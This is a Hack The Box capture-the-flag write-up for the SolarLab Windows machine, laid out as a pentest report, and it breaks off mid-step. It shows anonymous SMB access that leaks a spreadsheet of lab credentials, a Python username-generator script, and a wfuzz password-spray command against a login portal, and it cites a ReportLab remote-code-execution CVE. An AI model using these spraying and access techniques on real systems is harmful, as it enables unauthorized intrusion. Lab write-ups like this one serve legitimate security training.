Hack The Box SolarLab Writeup (Medium Windows)

Summary

SolarLab is a Medium Windows machine whose SMB service allows an unauthenticated login to the Documents share, where details-file.xlsx leaks usernames, security answers and cleartext passwords. Those passwords, sprayed with wfuzz against the ReportHub portal on report.solarlab.htb:6791 using a username list generated from the employee names on the main site, land valid credentials for blakeb. ReportHub generates PDFs from HTML input using the ReportLab Python library, which is vulnerable to CVE-2023-33733, so a crafted HTML payload achieves remote code execution on the host.

Initial Target - 10.10.11.16

Service Enumeration

IP Address	TCP Ports Open
10.10.11.16	80, 135, 139, 445

BS01: Sensitive Information Disclosure

Explanation: It is possible to log in without credentials to the smb server on 10.10.11.16. An unauthenticated remote attacker could be able to access the “Documents” share and download documents containing sensitive information such as usernames, emails, security questions and answers, and cleartext passwords for users.

Severity: High

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Use the following command to log in to the smb share without credentials, with a random username: smbclient -U 'bsec' //10.10.11.16/Documents

2. Review details-file.xlsx and you’ll find sensitive information.

Preview:

Username	Password	Security Question	Answer
Alexander.knight@gmail.com	al;ksdhfewoiuh	What was your mother’s maiden name?	Blue
KAlexander	dkjafblkjadsfgl	What was your high school mascot?	Pine Tree
Alexander.knight@gmail.com	d398sadsknr390	What was the name of your first pet?	corvette
blake.byte	ThisCanB3typedeasily1@	What was your mother’s maiden name?	Helena
AlexanderK	danenacia9234n	What was your mother’s maiden name?	Poppyseed muffins
ClaudiaS	dadsfawe9dafkn	What was your mother’s maiden name?	yellow crayon

BS02: Initial Access - CVE-2023-33733

Explanation: After successful exploitation of BS01, it was possible to perform a password spray attack and discover valid credentials for “blakeb” at http://report.solarlab.htb:6791. According to the panel: “ReportHub is a centralized employee portal prioritizing seamless and secure communication. It optimizes processes for leave, training, home office, and travel requests, emphasizing robust security measures.”.

Reportlab is an open source python library that allows the creation of documents in PDF using the python programming language. If we generate a PDF with random information, download it and use a tool to view its metadata, it’s possible to identify that this library is being used to perform the dynamic generation of PDF files from HTML input. During the tests we were able to successfully exploit CVE-2023-33733 and obtain Remote Code Execution (RCE) into the victim machine.

More information on this CVE in this github repo.

Severity: High

Recommendation: (1 paragraph recommendation)

Steps to Reproduce:

1. Save the employees names to employees.txt. The file should look like the following (this information is publicly disclosed in the website main page at http://solarlab.htb):

Alexander Knight
Claudia Springer
Blake Byte

1. Save the python script below as username_generator.py. The script is adapted from here.

#!/usr/bin/env python3

import sys
import os.path


def main(filepath: str):
    with open(filepath) as f:
        for line in enumerate(f):
            # Remove anything in the name that aren't letters or spaces
            name = ''.join([c for c in line[1] if  c == ' ' or  c.isalpha()])
            tokens = name.lower().split()

            if len(tokens) < 1: 
                # Skip empty lines
                continue
          
            # Assume tokens[0] is the first name
            fname = tokens[0]

            # Remaining elements in tokens[] must be the last name
            lname = ''

            if len(tokens) == 2: 
                # assume traditional first and last name
                # e.g. John Doe
                lname = tokens[-1]

            elif len(tokens) > 2: 
                # Assume multi-barrelled surname
                # e.g. Jane van Doe

                # Remove the first name
                del tokens[0]

                # Combine the multi-barrelled surname
                lname = ''.join([s for s in tokens])

            # create possible usernames
            print(fname + lname)           # johndoe
            print(lname + fname)           # doejohn
            print(fname + '.' + lname)     # john.doe
            print(lname + '.' + fname)     # doe.john
            print(lname + fname[0])        # doej
            print(fname[0] + lname)        # jdoe
            print(lname[0] + fname)        # djoe
            print(fname + lname[0])        # joed
            print(fname[0] + '.' + lname)  # j.doe
            print(lname[0] + '.' + fname)  # d.john
            print(fname)                   # john
            print(lname)                   # joe


if __name__ == '__main__':
    if len(sys.argv) != 2:
        message = f'[~] Usage: {sys.argv[0]} /path/to/wordlist.txt'
    elif not os.path.exists(sys.argv[1]):
        message = f'[!] Error: {sys.argv[1]} was not found.'
    else:
        message = ''

    if message:
        print(message)
        sys.exit(1)

    main(sys.argv[1])

1. Use the python script to generate a custom username wordlist and save the output to another file: python3 username_generator.py employees.txt > users.txt

2. Create a passwords.txt file containing all the passwords discovered in BS01. The file should look like the following:

al;ksdhfewoiuh
dkjafblkjadsfgl
d398sadsknr390
ThisCanB3typedeasily1@
danenacia9234n
dadsfawe9dafkn

1. Use wfuzz to perform a password spray attack: wfuzz -w users.txt -w passwords.txt --hh 2133 -d 'username=FUZZ&password=FUZ2Z' http://report.solarlab.htb:6791/login and the correct user:password combination will eventually be displayed.

2. Log in with the discovered credentials.

3. Create a